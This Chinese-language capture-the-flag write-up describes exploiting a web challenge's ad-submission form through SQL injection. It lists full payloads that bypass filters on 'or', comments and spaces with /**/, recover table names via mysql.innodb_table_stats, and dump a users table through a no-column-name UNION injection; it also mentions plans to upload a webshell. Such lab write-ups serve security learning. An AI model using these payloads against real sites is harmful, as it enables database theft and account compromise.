上来看到两个功能,登录和注册,看到登录框直接sqlmap嗦一下
失败
注册admin显示被注册,那就注册一个账密都为aaa
登录进来发现两个功能点
发了一个广告却显示代管理确认,这里肯定没有管理员,所以我们得想办法自己上去admin账户,应该可以传个webshell上来自己确认
然而,我把注册登录的数据包找遍了都没找到任何与权限相关的东西,只有个随机生成的td_cookie,没什么用。爆破了一下admin的密码还是无所获
看样子可能还是sql注入,找找注入点吧
点击这个进去发现一个id,经过一番尝试无任何回显
那就只有最后一个功能点广告申请了,抓包试试
加个单引号没报错,但当我输入1' order by 1--在title里面时保敏感词汇了,找到注入点了!
弹敏感词汇我们先试试看看过滤的什么东西
最终我发现了过滤了or # --+ --和空格
尝试取反也无法绕过or
过滤or的话可以使用-1 union select 1,2,3,...n 来试试,如果列数不相符也会报错
使用下面这个python脚本生成一个字典进行爆破
my_dict = {}
for i in range(1, 31):my_dict[i] = ",".join(str(x) for x in range(1, i+1))for key, value in my_dict.items():print(key, value)
过滤空格可以使用/**/ () / %20 + 等来进行拼接,构造payload:-1'/**/union/**/select/**/n
爆破需要分批,广告数量有限制,这玩意还需要自己点进去看!
到23时报错不同列数说明查询列数为22,你们直接拿这个下面这个试吧,太麻烦!
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
根据22的广告发现回显位数为2和3
构造payload:
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
泥库名就为web1
普通的payload是从INFORMATION_SCHEMA.SCHEMATA里面查,但是这里限制了我们对这张表进行访问,无法通过这张表查询数据
下面内容来自这篇文章用innodb_index_stats和innodb_table_stats查找表名_dios mysql-CSDN博客
在MySQL 5.6及更高版本中,我注意到InnoDB创建了2个新表。“ innodb_index_stats”和“ innodb_table_stats”。这两个表都包含所有新创建的数据库和表的数据库和表名
不过InnoDB不存储列,并且存放表的字段名为table_name
更新后的payload:
-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
成功查到表名为ads,users
这里ads多半是存放广告数据的表,我们直接看users表
因为系统表被禁掉加上上面两张表不存放column,我们这里采用无列名注入不查询列名直接拿数据
内查询的结果需要一个别名
构造payload:-1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)/**/as/**/d),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
不要其他列的别名的话查询第几列的结果需要用``包裹
这个payload:-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/as/**/d),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
也是可以的
得到flag